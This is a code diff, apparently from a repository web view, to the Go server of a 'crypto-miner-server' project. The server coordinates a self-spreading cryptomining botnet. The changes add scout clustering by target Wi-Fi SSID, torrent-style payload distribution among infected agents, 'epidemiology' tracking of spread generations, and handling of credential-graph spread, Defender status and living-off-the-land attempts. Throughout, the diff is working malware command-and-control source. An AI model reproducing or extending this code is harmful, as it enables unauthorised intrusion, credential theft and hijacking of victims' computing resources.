conn, _ := dialAgentWS(t, hub)
|
||||
_ = authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": scoutID, "hostname": "tablet", "platform": "android", "version": "test",
|
||||
})
|
||||
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"scout_mode": true, "ssid": "Target-Guest", "join_lane": "docker", "service_count": 6,
|
||||
})
|
||||
if err := conn.WriteJSON(Message{Type: "scout_report", Payload: payload}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
|
||||
c := hub.scoutConstellationForAgent(scoutID)
|
||||
if c != nil {
|
||||
t.Fatal("single scout should not form constellation yet")
|
||||
}
|
||||
|
||||
for _, id := range []string{"scout-2", "scout-3"} {
|
||||
hub.ingestScoutConstellationReport(id, "Target-Guest", 5)
|
||||
}
|
||||
hub.ingestScoutConstellationReport(scoutID, "Target-Guest", 6)
|
||||
|
||||
c = hub.scoutConstellationForAgent(scoutID)
|
||||
if c == nil {
|
||||
t.Fatal("expected constellation after third scout")
|
||||
}
|
||||
if c.VenueClass != fleetai.VenueRetail {
|
||||
t.Fatalf("venue=%q", c.VenueClass)
|
||||
}
|
||||
}
|
||||
@@ -26,6 +26,8 @@ type ServerPolicy struct {
|
||||
HashrateGateHPS float64
|
||||
// ErasureLanesEnabled attaches Reed–Solomon shard metadata to signed deploy plans.
|
||||
ErasureLanesEnabled bool
|
||||
// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
|
||||
FleetTorrentEnabled bool
|
||||
}
|
||||
|
||||
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
|
||||
|
||||
@@ -47,14 +47,25 @@ type spreadCredReportRequest struct {
|
||||
|
||||
// SpreadCredHandler issues short-lived bootstrap tokens and records cred graph edges.
|
||||
type SpreadCredHandler struct {
|
||||
db *dbpkg.Database
|
||||
provider SpreadCredProvider
|
||||
db *dbpkg.Database
|
||||
provider SpreadCredProvider
|
||||
hub *WSHub
|
||||
pathTracer *PathTracerHandler
|
||||
}
|
||||
|
||||
func NewSpreadCredHandler(database *dbpkg.Database, provider SpreadCredProvider) *SpreadCredHandler {
|
||||
return &SpreadCredHandler{db: database, provider: provider}
|
||||
}
|
||||
|
||||
// BindAutopsyTrigger wires immune autopsy emission when subnet spread pause activates.
|
||||
func (h *SpreadCredHandler) BindAutopsyTrigger(hub *WSHub, pathTracer *PathTracerHandler) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.hub = hub
|
||||
h.pathTracer = pathTracer
|
||||
}
|
||||
|
||||
// GET /api/v1/spread/credential-graph (alias: /api/v1/emberwake/cred-graph)
|
||||
func (h *SpreadHandler) GetCredGraph(w http.ResponseWriter, r *http.Request) {
|
||||
rows, err := h.db.ListCredGraphBySubnet()
|
||||
@@ -202,7 +213,11 @@ func (h *SpreadCredHandler) ReportEdge(w http.ResponseWriter, r *http.Request) {
|
||||
target = req.Host
|
||||
}
|
||||
if paused, recErr := h.db.RecordSubnetSpreadFailure(target); recErr == nil && paused {
|
||||
log.Printf("[subnet-immune] spread paused for prefix %q after %d failures", atlas.PrefixFromHostOrIP(target), atlas.SubnetSpreadFailureThreshold)
|
||||
prefix := atlas.PrefixFromHostOrIP(target)
|
||||
log.Printf("[subnet-immune] spread paused for prefix %q after %d failures", prefix, atlas.SubnetSpreadFailureThreshold)
|
||||
if h.hub != nil {
|
||||
h.hub.TriggerSubnetAutopsy(prefix, h.pathTracer)
|
||||
}
|
||||
}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true})
|
||||
|
||||
@@ -17,6 +17,7 @@ import (
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/atlas"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/epidemiology"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
@@ -170,7 +171,10 @@ type WSHub struct {
|
||||
serverPolicy ServerPolicy
|
||||
adaptiveEngine *strategy.AdaptiveEngine
|
||||
failureAtlas *atlas.FailureAtlas
|
||||
subnetImmune *atlas.SubnetImmune
|
||||
subnetImmune *atlas.SubnetImmune
|
||||
subnetAutopsies map[string]atlas.SubnetAutopsyPacket
|
||||
subnetGossipWhispers map[string][]atlas.GossipHint
|
||||
epidemiology *epidemiology.Tracker
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
@@ -189,6 +193,11 @@ type WSHub struct {
|
||||
beaconCmdQueue map[string][]BeaconCommand
|
||||
beaconPolicyQueue map[string][]FleetAgentPolicy
|
||||
|
||||
// Scout constellation venue clustering (APK scouts reporting same SSID).
|
||||
scoutConstellationMu sync.Mutex
|
||||
scoutConstellations *fleetai.ScoutConstellationRegistry
|
||||
scoutAgents map[string]bool
|
||||
|
||||
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
|
||||
statsBatchMu sync.Mutex
|
||||
statsBatch map[string]json.RawMessage
|
||||
@@ -217,6 +226,7 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
agentInheritedPhenotype: make(map[string]strategy.InheritedPhenotype),
|
||||
agentSubnet: make(map[string]string),
|
||||
breedingRegistry: strategy.NewBreedingRegistry(),
|
||||
epidemiology: epidemiology.NewTracker(),
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
beaconLastSeen: make(map[string]time.Time),
|
||||
beaconCmdQueue: make(map[string][]BeaconCommand),
|
||||
@@ -427,6 +437,11 @@ func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
|
||||
}
|
||||
}
|
||||
|
||||
// PolicyErasureEnabled reports whether Reed–Solomon erasure lanes are active.
|
||||
func (h *WSHub) PolicyErasureEnabled() bool {
|
||||
return h.serverPolicySnapshot().ErasureLanesEnabled
|
||||
}
|
||||
|
||||
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
@@ -914,19 +929,27 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
resp["triple_onion_policy"] = top
|
||||
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled {
|
||||
spreadPolicy := map[string]interface{}{
|
||||
"erasure_lanes_enabled": policy.ErasureLanesEnabled,
|
||||
}
|
||||
spreadPolicy := map[string]interface{}{}
|
||||
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
|
||||
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
|
||||
spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
|
||||
if policy.HashrateGateSpreadMin > 0 {
|
||||
spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin
|
||||
}
|
||||
if policy.HashrateGateHPS > 0 {
|
||||
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
|
||||
}
|
||||
}
|
||||
if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil {
|
||||
for k, v := range scoutPolicy {
|
||||
spreadPolicy[k] = v
|
||||
}
|
||||
}
|
||||
if len(spreadPolicy) > 0 {
|
||||
resp["spread_policy"] = spreadPolicy
|
||||
}
|
||||
resp["atlas_lan_gossip_enabled"] = policy.AtlasLanGossipEnabled
|
||||
resp["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
|
||||
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
|
||||
var inherited *strategy.InheritedPhenotype
|
||||
if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
|
||||
@@ -977,6 +1000,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if policy.AIControlEnabled {
|
||||
resp["spread_temperament"] = fleetai.PersonaSpreadTemperament(policy.AIPersona)
|
||||
}
|
||||
if graft, ok := h.GraftPolicyForAgent(agentID); ok {
|
||||
resp["graft_policy"] = graft
|
||||
agent.GraftSourceStrain = graft.GraftSourceStrain
|
||||
agent.GraftTier = graft.GraftTier
|
||||
}
|
||||
if h.clearance != nil {
|
||||
level := h.clearance.InitAgent(agentID, agent)
|
||||
resp["clearance_level"] = level
|
||||
@@ -999,7 +1027,13 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
resp["lan_seeders"] = seeders
|
||||
}
|
||||
}
|
||||
if policy.FleetTorrentEnabled && hint == "seeder" {
|
||||
if primary := h.subnetPrimarySeederHint(agentID, clientIP, hint); primary != "" {
|
||||
resp["subnet_primary_seeder"] = primary
|
||||
}
|
||||
}
|
||||
}
|
||||
h.attachEpidemiologyFix(resp, agentID)
|
||||
return resp
|
||||
}())})
|
||||
|
||||
@@ -1352,6 +1386,38 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.ingestAtlasFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderEnabled, stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts)
|
||||
h.tryPublishWinningPhenotype(agentID, "", clientIPFromBroadcast(broadcast), stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier, stats.JoinLane, stats.ChainOrder)
|
||||
h.ingestFleetPressure(agentID, broadcast)
|
||||
epiStats := epidemiology.StatsInput{
|
||||
FleetRole: stats.FleetRole,
|
||||
ActiveMethod: stats.ActiveMethod,
|
||||
MiningHashrate: stats.MiningHashrate,
|
||||
Hashrate15m: stats.Hashrate15m,
|
||||
GPUHashrate15m: stats.GPUHashrate15m,
|
||||
ChainExhausted: stats.ChainExhausted,
|
||||
MiningLastError: stats.MiningLastError,
|
||||
LOTLTier: stats.LOTLTier,
|
||||
JoinLane: stats.JoinLane,
|
||||
ParentAgentID: stats.ParentAgentID,
|
||||
SpreadGeneration: stats.SpreadGeneration,
|
||||
SpreadStrain: stats.SpreadStrain,
|
||||
}
|
||||
if stats.GPUMinerActive != nil {
|
||||
epiStats.GPUMinerActive = *stats.GPUMinerActive
|
||||
}
|
||||
for _, f := range stats.FailedMethods {
|
||||
epiStats.FailedMethods = append(epiStats.FailedMethods, epidemiology.MethodFailure{
|
||||
Method: f.Method,
|
||||
Reason: f.Reason,
|
||||
At: f.At,
|
||||
})
|
||||
}
|
||||
for _, a := range stats.LOTLAttempts {
|
||||
epiStats.LOTLAttempts = append(epiStats.LOTLAttempts, epidemiology.TierAttempt{
|
||||
Tier: a.Tier,
|
||||
OK: a.OK,
|
||||
Error: a.Error,
|
||||
})
|
||||
}
|
||||
h.observeEpidemiologyFromStats(agentID, epiStats)
|
||||
h.queueStatsBroadcast(broadcast)
|
||||
|
||||
case "scout_report":
|
||||
@@ -1359,6 +1425,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
continue
|
||||
}
|
||||
var report struct {
|
||||
SSID string `json:"ssid"`
|
||||
JoinLane string `json:"join_lane"`
|
||||
ServiceCount int `json:"service_count"`
|
||||
ScoutMode bool `json:"scout_mode"`
|
||||
@@ -1378,6 +1445,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
firewallDomain = ag.FirewallDomain
|
||||
}
|
||||
h.tryPublishScoutPhenotype(agentID, platform, ip, firewallDomain, report.JoinLane, report.ServiceCount)
|
||||
if strings.TrimSpace(report.SSID) != "" {
|
||||
h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount)
|
||||
}
|
||||
|
||||
case "ai_snapshot":
|
||||
if agentID == "" {
|
||||
@@ -1585,6 +1655,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
h.handleAgentAtlasGossip(agentID, msg.Payload)
|
||||
|
||||
case "fleet_torrent_gossip":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
h.handleAgentFleetTorrentGossip(agentID, msg.Payload)
|
||||
|
||||
case "command_result":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -2214,6 +2290,7 @@ func (h *WSHub) tryPublishWinningPhenotype(
|
||||
SourceAgentName: ag.Name,
|
||||
})
|
||||
}
|
||||
h.publishStrainCardForWinner(agentID, ag.Name, strings.TrimSpace(joinLane), tierOrder, miningHashrate, stratAttempts)
|
||||
}
|
||||
|
||||
func (h *WSHub) tryPublishScoutPhenotype(
|
||||
@@ -2549,6 +2626,14 @@ func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
|
||||
})
|
||||
}
|
||||
|
||||
// BroadcastSeerNotesUpdated pushes a new Seer memory note to dashboard clients.
|
||||
func (h *WSHub) BroadcastSeerNotesUpdated(note interface{}) {
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "seer_notes_updated",
|
||||
Payload: mustMarshal(note),
|
||||
})
|
||||
}
|
||||
|
||||
// warRoomBroadcastInterval is the Emberwake war-room WS tick (overridable in tests).
|
||||
var warRoomBroadcastInterval = 30 * time.Second
|
||||
|
||||
|
||||
Reference in New Issue
Block a user